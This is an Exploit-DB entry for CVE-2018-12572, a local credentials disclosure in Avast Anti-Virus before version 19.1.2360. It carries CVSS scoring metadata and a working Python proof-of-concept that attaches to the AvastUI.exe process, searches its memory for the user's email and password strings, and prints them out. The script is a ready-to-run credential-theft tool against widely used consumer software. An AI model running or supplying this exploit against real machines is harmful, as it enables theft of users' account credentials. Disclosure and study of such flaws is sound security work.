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exploitdbNathu NandwaniEDB-ID:46345
HistoryFeb 11, 2019 - 12:00 a.m.

Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure

2019-02-1100:00:00
Nathu Nandwani
www.exploit-db.com
53

CVSS2

2.1

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:L/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0

Percentile

15.6%

# Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360
# Date: 01/18/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: before 19.1.2360 (build 19.1.4142.0)
# Tested on: Windows 10 x64
# CVE: CVE-2018-12572
# Based on LiquidWorm's and Yakir Wizman's proof of concepts

from winappdbg import Debug, Process

debug = Debug()
processname = "AvastUI.exe"
pid = 0
mem_contents = []

email = ""
password = ""

try:
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(processname):
        pid = process.get_pid()
    if pid is not 0:
        print ("AvastUI PID: " + str(pid))
        process = Process(pid)
        for i in process.search_regexp('"password":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            password = i.split(",")[0]
        for i in process.search_regexp('"email":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            email = i.split(",")[0]
        if email != "" and password != "":
            print ""
            print "Found Credentials from Memory!"
            print email
            print password
        else:
            print "No credentials found!"
    else:
        print "Avast not running!"
finally:
    debug.stop()

CVSS2

2.1

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:L/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0

Percentile

15.6%